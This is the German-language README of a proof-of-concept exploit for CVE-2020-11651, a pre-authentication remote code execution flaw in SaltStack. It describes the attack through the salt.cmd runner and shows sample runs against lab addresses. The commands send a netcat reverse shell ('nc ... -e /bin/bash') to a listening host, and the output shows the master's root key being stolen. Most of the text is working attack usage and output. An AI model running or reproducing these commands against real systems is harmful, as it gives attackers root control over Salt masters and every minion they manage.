
Proof-of-Concept-Exploit für CVE-2020-11651, der eine Remote-Code-Ausführung vor der Authentifizierung auf SaltStack-Master und Minions über den salt.cmd-Runner ermöglicht.
Dies ist ein POC für CVE-2020-11651, der eine Pre-Auth-RCE auf einem Salt-Stack-Master und/oder allen zugehörigen Minions ermöglicht. Einige leichte Details zu dem Problem gibt es hier. POC für 2020-11652 ist nicht enthalten.
Dies ermöglicht die Befehlsausführung auf dem Master, indem ein Runner von salt.cmd mit der Funktion cmd.exec_code erstellt wird. Es ist keine Interaktivität implementiert, Sie müssen eine Reverse Shell abfangen.
Getestet auf Debian10 gegen eine Debian10-Instanz. Benötigt ncat, um eine Shell zu empfangen und zu senden, sowie die Bibliothek pip3 install salt für den Transport.
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
Got response for attempting master shell: {'tag': 'salt/run/20200504080050593352', 'jid': '20200504080050593352'}. Looks promising!
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
Sending command to all minions on master
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 fetchkeyonly
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
user@debian10:~$
